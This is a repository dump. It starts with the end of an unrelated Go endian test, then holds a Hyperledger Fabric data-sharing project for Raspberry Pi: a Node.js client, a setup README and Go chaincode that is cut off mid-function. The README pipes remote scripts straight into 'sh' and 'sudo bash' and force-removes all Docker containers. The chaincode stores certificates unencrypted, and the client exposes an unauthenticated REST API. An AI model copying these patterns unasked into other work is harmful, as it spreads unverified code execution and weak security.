math.Float64frombits(0x3b3c3d3e3f404142),
),
[4]uint8{0x43, 0x44, 0x45, 0x46},
}
var middle = []byte{
1,
3, 2,
5, 4, 7, 6,
9, 8, 11, 10, 13, 12, 15, 14,
16,
18, 17,
20, 19, 22, 21,
24, 23, 26, 25, 28, 27, 30, 29,
32, 31, 34, 33,
36, 35, 38, 37, 40, 39, 42, 41,
44, 43, 46, 45, 48, 47, 50, 49,
52, 51, 54, 53, 56, 55, 58, 57, 60, 59, 62, 61, 64, 63, 66, 65,
67, 68, 69, 70,
}
func checkResult(t *testing.T, dir string, order binary.ByteOrder, err error, have, want interface{}) {
if err != nil {
t.Errorf("%v %v: %v", dir, order, err)
return
}
if !reflect.DeepEqual(have, want) {
t.Errorf("%v %v:\n\thave %+v\n\twant %+v", dir, order, have, want)
}
}
func testRead(t *testing.T, order binary.ByteOrder, b []byte, s1 interface{}) {
var s2 Struct
err := binary.Read(bytes.NewReader(b), order, &s2)
checkResult(t, "Read", order, err, s2, s1)
}
func testWrite(t *testing.T, order binary.ByteOrder, b []byte, s1 interface{}) {
buf := new(bytes.Buffer)
err := binary.Write(buf, order, s1)
checkResult(t, "Write", order, err, buf.Bytes(), b)
}
func TestMiddleEndianRead(t *testing.T) { testRead(t, MiddleEndian, middle, s) }
func TestMiddleEndianWrite(t *testing.T) { testWrite(t, MiddleEndian, middle, s) }
func TestMiddleEndianPtrWrite(t *testing.T) { testWrite(t, MiddleEndian, middle, &s) }
|
480dbaf467931c178fb4bab994b697a3d8f371d6
|
[
"Markdown",
"Go"
] | 3 |
Markdown
|
stny/endian
|
5a154942cfd11de7e9f82feea7ef07ff0ef6d63a
|
0f5e82a3ce794c7050957330941f1bcbf31c248e
|
refs/heads/master
|
<file_sep>
/* Enter the code to remove the node element here */
document.getElementById("main").remove();
const newHeader = document.createElement("h1");
newHeader.id = "victory"
newHeader.innerHTML = "Flatiron School is the champion!";
newHeader.className = "victory";
|
18d55a727656eaca0870166227728c0c60b20667
|
[
"JavaScript"
] | 1 |
JavaScript
|
belindalei/fewpjs-removing-altering-and-inserting-html-lab-nyc-web-080519
|
854c4ed0d5525a331999de637216560ba6055017
|
2158e7bb0e93630c04075627b6556072011a5373
|
refs/heads/master
|
<file_sep>'use strict';
/*
* Copyright IBM Corp All Rights Reserved
*
* SPDX-License-Identifier: Apache-2.0
*/
/*
* Chaincode query
*/
var Fabric_Client = require('fabric-client');
//var Fabric_CA_Client = require('fabric-ca-client');
var path = require('path');
var util = require('util');
//var os = require('os');
var fs = require("fs")
//Inquirer used to supply the CLI
const inquirer = require('inquirer')
//Switch to enable REST-api access or disable for CLI
var RESTAPI = false;
//The time a benchmark is set to run
var totaltime_seconds = 600; //3600 = 1h, 600 = 10m
//var bm_datalength = 1000000; // MAX == 1398101 characters/bytes
//The user to interact with blockchain as, theese are found in hfc-key-store and generated
//by having enrollAdmin.js and registerUser.js interact with a fabric CA server
var currentUser = 'Node2'
//The global variables for number of benchmarks to be run, and the
//current number of benchmarks that have been run. Numbenchmarks is
//set by the inquirer-prompt.
var numbenchmarks = 0;
var currentbenchmarks = 0;
var fabric_client = new Fabric_Client();
//User variables stored here if needed, but getUserContext is sufficient to set user for fabric_client
var admin_user = null;
var member_user = null;
var tx_id = null;
var store_path = path.join(__dirname, 'hfc-key-store');
// setup the fabric network mychannel
var channel = fabric_client.newChannel('mychannel');
//Set the peer to recieve operations and add it to the channel object
var peer = fabric_client.newPeer('grpc://node2.ptunstad.no:7051');
channel.addPeer(peer);
//Set the orderer to be used by the set-functionality in the blockchain.
var order = fabric_client.newOrderer('grpc://node3.ptunstad.no:7050')
channel.addOrderer(order);
//REST-api functionality to interact with client application from external device.
if(RESTAPI){
var express = require('express');
var bodyParser = require('body-parser');
var app = express();
var fs = require("fs");
app.use(bodyParser.urlencoded({ extended: true }));
app.post('/set', function (req, res) {
var requestarguments = req.get('arguments').toString().split(", ")
ccSet(requestarguments, SetCallback, null, res)
})
app.get('/get', function (req, res) {
console.log("Request GET")
var requestarguments = req.get('arguments').toString()
ccFunc('get', requestarguments, getCallback, res)
})
app.get('/getkeyhistory', function (req, res) {
console.log("Request GET")
var requestarguments = req.get('arguments').toString()
ccFunc('getkeyhistory', requestarguments, getCallback, res)
})
app.get('/getbyrange', function (req, res) {
console.log("Request GET")
var requestarguments = req.get('arguments').toString().split(", ")
ccFunc('getbyrange', requestarguments, getCallback, res)
})
app.post('/sendfile', function (req, res) {
var requestarguments = req.get('arguments').toString()
storeFile(requestarguments, res, req.body)
})
app.get('/getfile', function (req, res) {
var requestarguments = req.get('arguments').toString()
retrieveFile(requestarguments, res)
})
var server = app.listen(8080, function () {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
}else{
//Begin CLI to retrieve user input of application. This could for other use-cases be
//changed to something more along the lines of a REST API if outside access is needed or
//a local API available only to another application for our use case.
var myfunction = ""
var myarguments = ""
var questions = [{
type: 'input',
name: 'inputfunc',
message: "What function do you want to invoke? (Example: 'getbyrange')",
},{
type: 'input',
name: 'inputargs',
message: "List you arguments. (Example:'a, d')",
}]
//Select the command specified and call the correct subfunction with the
//appropriate arguments.
inquirer.prompt(questions).then(answers => {
myfunction = answers['inputfunc']
myarguments = answers['inputargs']
var myargumentslist = myarguments.split(", ")
console.log(myargumentslist)
if(myfunction == "set"){
ccSet(myargumentslist);
}else if(myfunction == "bms"){
numbenchmarks = parseInt(myargumentslist[1])
benchmarkSet(numbenchmarks, parseInt(myargumentslist[0]))
}else if(myfunction == "sendfile"){
storeFile(myargumentslist)
}else if(myfunction == "getfile"){
retrieveFile(myargumentslist)
}else{
ccFunc(myfunction, myargumentslist, getCallback);
}
})
}
//Function to set chaincode based on arguments. For myccds it expects argument to be of type
//key, value. This is the only way to change values.
function ccSet(ccargs, callback, callback2, resp){
Fabric_Client.newDefaultKeyValueStore({ path: store_path
}).then((state_store) => {
// assign the store to the fabric client
fabric_client.setStateStore(state_store);
var crypto_suite = Fabric_Client.newCryptoSuite();
// use the same location for the state store (where the users' certificate are kept)
// and the crypto store (where the users' keys are kept)
var crypto_store = Fabric_Client.newCryptoKeyStore({path: store_path});
crypto_suite.setCryptoKeyStore(crypto_store);
fabric_client.setCryptoSuite(crypto_suite);
var tlsOptions = {
trustedRoots: [],
verify: false
};
//Be sure to change the http to https when the CA is running TLS enabled
//Not neccesary.
//fabric_ca_client = new Fabric_CA_Client('http://agc.ptunstad.no:7054', null , '', crypto_suite);
// first check to see if the admin is already enrolled
return fabric_client.getUserContext(currentUser, true);
}).then((user_from_store) => {
if (user_from_store && user_from_store.isEnrolled()) {
console.log('Successfully loaded user from persistence');
member_user = user_from_store;
} else {
throw new Error('Failed to get user.... run enrollAdmin.js (and maybe RegisterUser)');
}
// get a transaction id object based on the current user assigned to fabric client
tx_id = fabric_client.newTransactionID();
console.log("Assigning transaction_id: ", tx_id._transaction_id);
// must send the proposal to endorsing peers
var request = {
//targets: let default to the peer assigned to the client
chaincodeId: 'myccds',
fcn: 'set',
args: ccargs,
chainId: 'mychannel',
txId: tx_id
};
// send the transaction proposal to the peers
return channel.sendTransactionProposal(request);
}).then((results) => {
var proposalResponses = results[0];
var proposal = results[1];
let isProposalGood = false;
if (proposalResponses && proposalResponses[0].response &&
proposalResponses[0].response.status === 200) {
isProposalGood = true;
console.log('Transaction proposal was good');
} else {
console.error('Transaction proposal was bad');
}
if (isProposalGood) {
console.log(util.format(
'Successfully sent Proposal and received ProposalResponse: Status - %s, message - "%s"',
proposalResponses[0].response.status, proposalResponses[0].response.message));
//Callback to print time to proposalresponse. Only neccesary for measurements
//and can be disabled for runs with more than a sinlge transaction.
if (typeof callback2 === "function") {
callback2()
}
// build up the request for the orderer to have the transaction committed
var request = {
proposalResponses: proposalResponses,
proposal: proposal
};
// set the transaction listener and set a timeout of 30 sec
// if the transaction did not get committed within the timeout period,
// report a TIMEOUT status
var transaction_id_string = tx_id.getTransactionID(); //Get the transaction ID string to be used by the event processing
var promises = [];
var sendPromise = channel.sendTransaction(request);
promises.push(sendPromise); //we want the send transaction first, so that we know where to check status
// get an eventhub once the fabric client has a user assigned. The user
// is required bacause the event registration must be signed
let event_hub = fabric_client.newEventHub();
event_hub.setPeerAddr('grpc://node2.ptunstad.no:7053');
// using resolve the promise so that result status may be processed
// under the then clause rather than having the catch clause process
// the status
let txPromise = new Promise((resolve, reject) => {
let handle = setTimeout(() => {
event_hub.disconnect();
resolve({event_status : 'TIMEOUT'}); //we could use reject(new Error('Trnasaction did not complete within 30 seconds'));
}, 30000);
event_hub.connect();
event_hub.registerTxEvent(transaction_id_string, (tx, code) => {
// this is the callback for transaction event status
// first some clean up of event listener
clearTimeout(handle);
event_hub.unregisterTxEvent(transaction_id_string);
//event_hub.disconnect();
// now let the application know what happened
var return_status = {event_status : code, tx_id : transaction_id_string};
if (code !== 'VALID') {
console.error('The transaction was invalid, code = ' + code);
resolve(return_status); // we could use reject(new Error('Problem with the tranaction, event status ::'+code));
} else {
console.log('The transaction has been committed on peer ' + event_hub._ep._endpoint.addr);
resolve(return_status);
}
}, (err) => {
//this is the callback if something goes wrong with the event registration or processing
reject(new Error('There was a problem with the eventhub ::'+err));
});
});
promises.push(txPromise);
return Promise.all(promises);
} else {
console.error('Failed to send Proposal or receive valid response. Response null or status is not 200. exiting...');
throw new Error('Failed to send Proposal or receive valid response. Response null or status is not 200. exiting...');
}
}).then((results) => {
console.log('Send transaction promise and event listener promise have completed');
// check the results in the order the promises were added to the promise all list
if (results && results[0] && results[0].status === 'SUCCESS') {
console.log('Successfully sent transaction to the orderer.');
} else {
console.error('Failed to order the transaction. Error code: ' + response.status);
}
if(results && results[1] && results[1].event_status === 'VALID') {
//console.log('Successfully committed the change to the ledger by the peer');
//Callback function used to measure time-to-commit.
//This functionality is only used for measurements and can be disabled otherwise.
if (typeof callback === "function") {
if(resp){
callback('Successfully committed the change to the ledger by the peer', resp)
}else{
callback('Successfully committed the change to the ledger by the peer')
}
}
} else {
console.log('Transaction failed to be committed to the ledger due to ::'+results[1].event_status);
}
}).catch((err) => {
console.error('Failed to invoke successfully :: ' + err);
});
}
//Callback function used in get-function.
//Currently not neccesary and only prints result.
function getCallback(result, resp){
console.log("Result is : " + result)
if (resp){
resp.end(result)
}
}
//Functionality to call chaincode to retrieve some sort of data from the blockchain.
//Some supported ccfuncs are 'get', 'getkeyhistory' and 'getbyrange'.
//Takes in as aruments as a key string and callback-function only prints result to console.
function ccFunc(ccfunc, ccargs, callback, resp){
Fabric_Client.newDefaultKeyValueStore({ path: store_path
}).then((state_store) => {
// assign the store to the fabric client
fabric_client.setStateStore(state_store);
var crypto_suite = Fabric_Client.newCryptoSuite();
// use the same location for the state store (where the users' certificate are kept)
// and the crypto store (where the users' keys are kept)
var crypto_store = Fabric_Client.newCryptoKeyStore({path: store_path});
crypto_suite.setCryptoKeyStore(crypto_store);
fabric_client.setCryptoSuite(crypto_suite);
var tlsOptions = {
trustedRoots: [],
verify: false
};
// be sure to change the http to https when the CA is running TLS enabled
//fabric_ca_client = new Fabric_CA_Client('http://agc.ptunstad.no:7054', null , '', crypto_suite);
// first check to see if the admin is already enrolled
return fabric_client.getUserContext(currentUser, true);
}).then((user_from_store) => {
if (user_from_store && user_from_store.isEnrolled()) {
console.log('Successfully loaded user from persistence');
member_user = user_from_store;
} else {
throw new Error('Failed to get user.... run enrollAdmin.js (and maybe RegisterUser)');
}
const request = {
//targets : --- letting this default to the peers assigned to the channel
chaincodeId: 'myccds',
fcn: ccfunc,
args: ccargs
};
// send the query proposal to the peer
return channel.queryByChaincode(request)})
.then((query_responses) => {
console.log("Query has completed, checking results");
// query_responses could have more than one results if there multiple peers were used as targets
if (query_responses && query_responses.length == 1) {
if (query_responses[0] instanceof Error) {
console.error("error from query = ", query_responses[0]);
if (typeof callback === "function") {
callback(query_responses[0].toString(), resp)
}
} else {
//Use callback function provided to send result of query to.
//Currently prints the string to console.
if (typeof callback === "function") {
callback(query_responses[0].toString(), resp)
}
//Function could also return the result
//return query_responses[0].toString();
}
} else {
console.log("No payloads were returned from query");
}
}).catch((err) => {
console.error('Failed to query successfully :: ' + err);
});
}
//For benchmarking use a custom callbackfunction for each completed SET action
//For every completed action increment the counter, and once all operations have
//been completed, print the time it took to perform all operations.
function SetCallback(result, res){
if(res){
res.end(result)
}else{
currentbenchmarks += 1;
console.log(result)
console.log("Finished set number " + currentbenchmarks.toString())
if(currentbenchmarks >= numbenchmarks){
console.log("Finished, printing time...")
console.timeEnd('benchmarkset')
}
}
}
//Custom callback used to measure the time required for a transaction to reach
//the point where a proposal is accepted.
function proposalOkCallback(){
console.timeEnd('proposalok')
}
//Function used to benchmark by storing a specified number of data items of a
//certain datalength. Based on the totaltime_seconds variable set sleep for some
//amount of time between transactions. The key is just incremented on count and
//the value stored is a randomly generated string of the specified lenght.
async function benchmarkSet(numitems, datalength){
console.time('benchmarkset');
console.time("proposalok")
for(var i=0; i < numitems; i++){
var key = i.toString();
var value = [...Array(datalength)].map(i=>(~~(Math.random()*36)).toString(36)).join('')
console.log(value.length)
console.log(Buffer.byteLength(value))
var args = [key, value]
console.log("Sending transaction " + String(i))
ccSet(args, SetCallback, proposalOkCallback)
await sleep((totaltime_seconds/numbenchmarks)*1000)
}
console.log("Done sending operations!")
}
//Subfunction used to await sleep in benchmarking function
function sleep(ms){
return new Promise(resolve=>{
setTimeout(resolve,ms)
})
}
//Functionality for storing a file as a key,value entry in the blockchain.
function storeFile(arglist, resp, body){
if(resp){
var key = arglist[0]
var args = [key, body]
ccSet(args, SetCallback, null, resp)
}else{
if(arglist.length < 2){
console.log("Need two arguments to store file. Usage: key, file.jpg")
}
var key = arglist[0]
var value = base64fromFile(arglist[1])
var args = [key, value]
ccSet(args)
}
}
//Functionality for storing a file as a base64 encoded key,value entry in the blockchain.
function retrieveFile(arglist, resp){
if(resp){
var key = arglist[0]
ccFunc('get', key, getCallback, resp)
}else{
if(arglist.length < 2){
console.log("Need two arguments to retrieve file. Usage: key, newfile.jpg")
}
var key = [arglist[0]]
ccFunc('get', key, function(result) {
filefromBase64(result, arglist[1])
})
}
}
//Subfunction used to generate a base64 string from a file object, used by storeFile.
function base64fromFile(inputfile){
var file = fs.readFileSync(inputfile)
return new Buffer(file).toString('base64');
}
//Subfunction used to generate a file based on a base64 string, used by retrieveFile.
function filefromBase64(inputstring, outputfile){
var decoded = new Buffer(inputstring, 'base64')
fs.writeFileSync(outputfile, decoded)
}<file_sep># Technical guidelines
The docker compose setup for Raspberry Pi is based on the [repository](https://github.com/Cleanshooter/hyperledger-pi-composer) and [guide](https://www.joemotacek.com/hyperledger-fabric-v1-0-on-a-raspberry-pi-docker-swarm-part-1/) by <NAME>. The chaincode, client and CA-server implementation is built on top of examples from the official hyperledger [fabric samples](https://github.com/hyperledger/fabric-samples). The guidelines assumes you have access to multiple devices, in our case we used four Raspberry Pi 3 B+.
## Quick install
### Operating System
The experiments were run on Raspberry Pi 3 using the Raspbian 3 Stretch OS which you can download from [here](https://www.raspberrypi.org/downloads/raspbian/).
### Installing Go
The version of Go used for this project was Go 1.7.5, installing it on RPI can be done by
```
wget https://dl.google.com/go/go1.7.5.linux-armv6l.tar.gz
sudo tar -C /usr/local -xzf go1.7.5.linux-armv6l.tar.gz
sudo echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.profile
sudo echo 'export GOPATH=$HOME/go' >> ~/.profile
```
To verify run `go version ` and `echo $GOPATH` to verify its /home/pi/go.
### Install Docker and Docker Compose
```
curl -sSL https://get.docker.com | sh
curl -s https://packagecloud.io/install/repositories/Hypriot/Schatzkiste/script.deb.sh | sudo bash
```
#### If you get a problem with docker compose
Run next step first then run `sudo pip install --trusted-host pypi.org docker-compose`
### Other/python libraries
```
sudo apt-get install git python-pip python-dev docker-compose build-essential libtool libltdl-dev libssl-dev libevent-dev libffi-dev
sudo pip install --upgrade pip
sudo pip install --upgrade setuptools
sudo pip install behave nose docker-compose
sudo pip install -I flask==0.10.1 python-dateutil==2.2 pytz==2014.3 pyyaml==3.10 couchdb==1.0 flask-cors==2.0.1 requests==2.4.3 pyOpenSSL==16.2.0 pysha3==1.0b1 grpcio==1.0.4
```
After installing dependencies it may be neccesary to do a reboot for changes to take into effect.
### Install NodeJS
```
curl -sL https://deb.nodesource.com/setup_8.x | sudo -E bash -
sudo apt-get install -y nodejs
```
### Pull Pre-Built docker images
You can compile your own images, but to pull the pre-built HLF V1 images by Joe Motacek run:
```
docker pull jmotacek/fabric-baseos:armv7l-0.3.2 &&
docker pull jmotacek/fabric-basejvm:armv7l-0.3.2 &&
docker pull jmotacek/fabric-baseimage:armv7l-0.3.2 &&
docker pull jmotacek/fabric-ccenv:armv7l-1.0.7 &&
docker pull jmotacek/fabric-javaenv:armv7l-1.0.7 &&
docker pull jmotacek/fabric-peer:armv7l-1.0.7 &&
docker pull jmotacek/fabric-orderer:armv7l-1.0.7 &&
docker pull jmotacek/fabric-buildenv:armv7l-1.0.7 &&
docker pull jmotacek/fabric-testenv:armv7l-1.0.7 &&
docker pull jmotacek/fabric-zookeeper:armv7l-1.0.7 &&
docker pull jmotacek/fabric-kafka:armv7l-1.0.7 &&
docker pull jmotacek/fabric-couchdb:armv7l-1.0.7 &&
docker pull jmotacek/fabric-tools:armv7l-1.0.7
```
This will take a while to complete as the images are quite large.
## Quick start
### Setup Docker Swarm
The solution uses Docker Swarm for easy management and communication between nodes. To start a swarm run `docker swarm init` on one of your nodes. This will be the same node you use to start and shut down the network. This will return a command along the lines of `docker swarm join --token <KEY> 192.168.1.xxx:2377` which you need to call on all your other nodes to join the network. You can verify that all nodes have been joined by running `docker node ls` on the initial node. The initial node should also initialize an overlay network by running `docker network create -d overlay --attachable hyperledger-fabric`.
### Start network
With all prerequisites installed and docker images in place run:
`docker node ls` to see that all nodes in swarm is up and running.
`docker network create -d overlay --attachable hyperledger-fabric ` to create overlay network if not already present.
Check that hostnames and volume paths to git directory is correct in `docker-compose-cli.yaml`. Volume paths to git directory is currently set to `/home/pi/hlf_multihost/hyperledger-pi-composer/`.
To run do `docker stack deploy --compose-file docker-compose-cli.yaml HLFv1_RPiDS && docker ps` on master to start up the nodes.
Then to follow BYFN-print output, get the id of CLI-container from `docker ps` that uses fabric-tools and run `docker logs -f 6e4c43c974e7` where `6e4c43c974e7` is the Container ID. You can also follow on peer nodes with `tail ./hyperledger-pi-composer/logs/peer1org2log.txt -f` and so on.
If you encounter any problems run `docker stack ps HLFv1_RPiDS --no-trunc` on master to see useful error messages.
Shutting down can be done with `docker stack rm HLFv1_RPiDS`.
## Querying from CLI after instantiation
### Default value transferring chaincode
Go to master node and write `docker ps` to show active containers. Find the CLI that uses the fabric-tools image and copy the Container ID. Then start the CLI by running `docker exec -it 6e4c43c974e7 bash` where `6e4c43c974e7` is the Container ID.
In the CLI run the following commands to prepare for querying:
`export CHANNEL_NAME=mychannel` to export channel name
`peer chaincode install -n mycc -v 1.0 -p github.com/hyperledger/fabric/examples/chaincode/go/chaincode_example02 >&log.txt` to instantiate chaincode.
Set some required global variables required since we have TLS enabled: `CORE_PEER_TLS_ENABLED="true"`, `CHANNEL_NAME="mychannel"` and `ORDERER_CA=/opt/gopath/src/github.com/hyperledger/fabric/peer/crypto/ordererOrganizations/ptunstad.no/orderers/orderer.ptunstad.no/msp/tlscacerts/tlsca.ptunstad.no-cert.pem`
Now to get the value of a, run: `peer chaincode query -C $CHANNEL_NAME -n mycc -c '{"Args":["query","a"]}'`.
To transfer 20 credits from a to b, run: `peer chaincode invoke -o orderer.ptunstad.no:7050 --tls $CORE_PEER_TLS_ENABLED --cafile $ORDERER_CA -C $CHANNEL_NAME -n mycc -c '{"Args":["invoke","a","b","20"]}'`
You can now run `peer chaincode query -C $CHANNEL_NAME -n mycc -c '{"Args":["query","a"]}'` again to see that it changed. Keep in mind that this could take some seconds depending on the batch settings configuration of orderer set in `configtx.yaml` and the time it uses to complete a block.
### Querying the datashare chaincode from Docker CLI
To use the modified chaincode for data sharing you similarly need to run `docker ps` to find the CLI, and launch it with `docker exec -it 6e4c43c974e7 bash` where `6e4c43c974e7` is the Container ID. Then define variables `CHANNEL_NAME=mychannel`, `ORDERER_CA=/opt/gopath/src/github.com/hyperledger/fabric/peer/crypto/ordererOrganizations/ptunstad.no/orderers/orderer.ptunstad.no/msp/tlscacerts/tlsca.ptunstad.no-cert.pem` and `CORE_PEER_TLS_ENABLED="true"`.
To install the chaincode if not already performed by `docker-compose-cli.yaml` referencing `script_ds.sh`, you need to run `peer chaincode install -n myccds -v 1.0 -p github.com/hyperledger/fabric/examples/chaincode/go/chaincode_datashare >&log.txt`.
To instantiate chaincode run something along the lines of `peer chaincode instantiate -o orderer.ptunstad.no:7050 --tls $CORE_PEER_TLS_ENABLED --cafile $ORDERER_CA -C $CHANNEL_NAME -n myccds -v 1.0 -c '{"Args":["c","asdf"]}' -P "OR('Org1MSP.member','Org2MSP.member')" >&log.txt`.
To then query that the value c was stored as asdf run `peer chaincode query -C $CHANNEL_NAME -n myccds -c '{"Args":["get","c"]}' >&log.txt`.
And to further change the value of c run `peer chaincode invoke -o orderer.ptunstad.no:7050 --tls $CORE_PEER_TLS_ENABLED --cafile $ORDERER_CA -C $CHANNEL_NAME -n myccds -c '{"Args":["set","c","wasda"]}'`.
### Using the CLI Client to interact with the chaincode.
To use the CLI Client to interact with the chaincode move to the folder `\client` and run `npm install`, this will install the required node dependencies. Then run the client with `node cli_client.js` and you will be prompted with the question of what function you want to invoke. The options available at this point is `get`, `set`, `getkeyhistory`, `getbyrange`, `sendfile` and `getfile`. Get takes in a single argument: `key`. Set takes two arguments: `key, value`. Getkeyhistory also takes in just a single argument: `key`, and returns the change history of the key with matching timestamps of the changes. Getbyrange takes in two arguments: `startkey, endkey` and returns all kv-pairs within that specified range, based on key values not strings. Sendfile takes in two arguments: `key, path/to/file.jpg`and stores the file in the blockchain. Currently there is a limit of 1,39MB from the grpc protocol in node. Getfile similarly takes two arguments: `key, path/to/file.jpg` and retrieves the file from the blockchain before storing it at the specified path.
#### Client with REST-api
To enable the client to use REST-api instead of command-line input change to `var RESTAPI = true` in `client/cli-client.js` and run the program.
The API will accept all requests on port 8080. Below is documentation for the current version of the API:
| URL | HTTP METHOD | 'arguments'-header | POST BODY | RESULT |
|----------------|-------------|--------------------|---------------------|--------------------------------------------------------------------------------------------------------------------------------|
| /set | POST | key, value | | Successfully committed the change to the ledger by the peer or error message |
| /get | GET | key | | value |
| /getkeyhistory | GET | key | | [timestamp: timestamp1 value: value2 certificate: certificate1, timestamp: timestamp2 value: value2 certificate: certificate2] |
| /getbyrange | GET | startkey, endkey | | [key1: value1, key2: value2] |
| /sendfile | POST | key | BASE64-encoded file | Successfully committed the change to the ledger by the peer or error message |
| /getfile | GET | key | | BASE64-encoded file string |
#### Get certificates from CA server with client
The client comes with two scripts `enrollAdmin.js` and `registerUser.js` that have functionality for first retrieving an admin certificate from the CA server and then using it to generate user certificates for each device. For the current version of certificates, four user certificates for each node is already stored in `hfc-key-store`. The used certificate is specified in the client application by the line `var currentUser = 'Node3'`.
## Certificates and Chaincode changes
### Updaing the Chaincode
Updates to the chaincode is not issued if it detects already running chaincode with the same version number. To delete current chaincode this need to be performed on all nodes: `docker stop $(docker ps -aq) && docker rm -f $(docker ps -aq) && docker images` then do `docker rmi xxxxxxxxxxx` replacing the x's with the image id of running chaincode images.
### Regenerating Certificates
If you need to make any changes to either `crypto-config.yaml` or `configtx.yaml` you may need to regenerate the certificates for your network. To do this first delete the folder `/crypto-config` and `/channel-artifacts`. Then run `export PATH=<replace this with your path>/bin:$PATH` with the full path to your bin folder.
To generate network entities such as peers, organizations and genesisblock run the following
```
bin/cryptogen generate --config=./crypto-config.yaml
export FABRIC_CFG_PATH=$PWD
bin/configtxgen -profile TwoOrgsOrdererGenesis -outputBlock ./channel-artifacts/genesis.block
```
Then to generate a channel for our peers to interact on run
```
export CHANNEL_NAME=mychannel && bin/configtxgen -profile TwoOrgsChannel -outputCreateChannelTx ./channel-artifacts/channel.tx -channelID $CHANNEL_NAME
bin/configtxgen -profile TwoOrgsChannel -outputAnchorPeersUpdate ./channel-artifacts/Org1MSPanchors.tx -channelID $CHANNEL_NAME -asOrg Org1MSP
```
### Starting the CA server
To run the CA server you need Go 1.9 installed, GOPATH set correctly and have `sudo apt install libtool libltdl-dev` installed.
Then run the command `go get -u github.com/hyperledger/fabric-ca/cmd/...` to install fabric-ca server to GOPATH/bin.
Then to start it move to `/fabric-ca` and run `docker-compose up -d`. This will start the CA server by default on port 7054 and allow it to respond to requests. The scripts responsible for interacting with the CA-server is `client/enrollAdmin.js` and `client/registerUser.js`, where the latter can have the variable username modified to represent the user you wish to register and retrieve certificates for. After the certificates have been retrieved the CA-server is not required to be up and can be shut down with `docker-compose down` in the `/fabric-ca` folder.
## Measurements
Measurements on throughput was performed with the benchmarking functionality added to the client application. To test, run client in CLI mode(`var RESTAPI ̄ false`) and set `var totaltime_seconds = 600` for 10 minute benchmarks. Then to run the benchmarkingsolution do `node cli_client.js` with function `bms` and parameters e.g `100000, 60` to run 60 transactions of 100KB over 10 minutes. The result time ttc is printed as `benchmarkset` and ttp for the first transaction can be seen as `proposalok`. Energy was measured simultaneously with a manual power meter, specifically an ODROID Power Meter V3.
CPU and Memory measurements were performed using the python tool psrecord. you can instal it using:
```
sudo pip install psrecord
sudo apt-get install python-matplotlib python-tk
```
For a single 1 minute measurement you can run:
`psrecord $(pgrep peer) --interval 1 --duration 60 --plot peer1m.png`
and for measuring both peer and client simultaneously for 10 minutes run the shell script:
```
#!/bin/bash
psrecord $(pgrep peer) --interval 1 --duration 600 --plot peer10m.png &
P1=$!
psrecord $(pgrep node) --interval 1 --duration 600 --plot node10m.png &
P2=$!
wait $P1 $P2
echo 'Done'
```<file_sep>package main
import (
"fmt"
"strconv"
"strings"
"github.com/hyperledger/fabric/core/chaincode/shim"
pb "github.com/hyperledger/fabric/protos/peer"
)
type SimpleAsset struct {
}
func (t *SimpleAsset) Init(stub shim.ChaincodeStubInterface) pb.Response {
// Get the args from the transaction proposal
args := stub.GetStringArgs()
if len(args) != 2 {
return shim.Error("Incorrect arguments. Expecting a key and a value")
}
// Set up any variables or assets here by calling stub.PutState()
// We store the creator data, key and the value on the ledger
err := stub.PutState(args[0], []byte(args[1]))
if err != nil {
return shim.Error(fmt.Sprintf("Failed to create asset: %s", args[0]))
}
return shim.Success(nil)
}
func (t *SimpleAsset) Invoke(stub shim.ChaincodeStubInterface) pb.Response {
// Extract the function and args from the transaction proposal
fn, args := stub.GetFunctionAndParameters()
var result string
var err error
//Switch on functionality specified in the transaction.
if fn == "set" {
result, err = set(stub, args)
} else if fn == "get" {
result, err = get(stub, args)
} else if fn == "getkeyhistory" {
result, err = getkeyhistory(stub, args)
} else if fn == "getbyrange" {
result, err = getbyrange(stub, args)
}
if err != nil {
return shim.Error(err.Error())
}
if result == "" {
return shim.Error(err.Error())
}
// Return the result as success payload
return shim.Success([]byte(result))
}
// Set stores the asset (both key and value) on the ledger. If the key exists,
// it will override the value with the new one. The history is still stored in the ledger.
// Getcreator is used to store the creator/updater of a change in terms of provenance.
// This stores the certificate used to perform the change as part of the value and
// will be parsed away for all other operations than getkeyhistory which
// returns this certificate to indicate who performed the change.
func set(stub shim.ChaincodeStubInterface, args []string) (string, error) {
if len(args) != 2 {
return "", fmt.Errorf("Incorrect arguments. Expecting a key and a value")
}
// Potential code for additional identity functionality added in HLF v1.1
// id, err := cid.GetID(stub)
// if err != nil {
// return "", fmt.Errorf("Failed to get id for asset: %s", args[0])
// }
// fmt.Println(id)
// mspid, err := cid.GetMSPID(stub)
// if err != nil {
// return "", fmt.Errorf("Failed to get mspid for asset: %s", args[0])
// }
// fmt.Println(mspid)
// val, ok, err := cid.GetAttributeValue(stub, "name")
// if err != nil {
// return "", fmt.Errorf("Failed to get attribute name for asset: %s", args[0])
// // There was an error trying to retrieve the attribute
// }
// if !ok {
// return "", fmt.Errorf("Identity does not posess the attribute name: %s", args[0])
// // The client identity does not possess the attribute
// }
// Do something with the value of 'val'
val, cerr := stub.GetCreator()
if cerr != nil {
return "", fmt.Errorf("Failed to get creator of asset: %s", args[0])
}
err := stub.PutState(args[0], append([]byte(val), []byte(args[1])...))
if err != nil {
return "", fmt.Errorf("Failed to set asset: %s", args[0])
}
return args[1], nil
}
// Get returns the current value of the specified asset key.
func get(stub shim.ChaincodeStubInterface, args []string) (string, error) {
if len(args) != 1 {
return "", fmt.Errorf("Incorrect arguments. Expecting a key")
}
value, err := stub.GetState(args[0])
if err != nil {
return "", fmt.Errorf("Failed to get asset: %s with error: %s", args[0], err)
}
if value == nil {
return "", fmt.Errorf("Asset not found: %s", args[0])
}
var retval string
if strings.Contains(string(value), "----BEGIN -----") {
valueSlice := strings.Split(string(value), "-----END -----")
retval = strings.TrimLeft(valueSlice[1], "\n")
} else if strings.Contains(string(value), "----BEGIN CERTIFICATE-----") {
valueSlice := strings.Split(string(value), "-----END CERTIFICATE-----")
retval = strings.TrimLeft(valueSlice[1], "\n")
} else {
retval = string(value)
}
return retval, nil
}
// Gets the full history of a key, The historic values are coupled with the timestamp of change.
// This function includes a timestamp, the new changed value and the certficiates used to perform the change.
// The certificates used are stored unencrypted in the value variable but are only acccessable trough this function.
// This is a potential security issue and may later require this function to be role-gated, certificates to be encrypted or used for encrypting a shared variable as proof.
// Example format of returned value is [ timestamp: 12341251234: value: firstvalue certificate: A4FC32XyCdfEa... , timestamp: 12341251239: value: secondvalue certificate: B4fVyC32XyCdfEa... ]
func getkeyhistory(stub shim.ChaincodeStubInterface, args []string) (string, error) {
if len(args) != 1 {
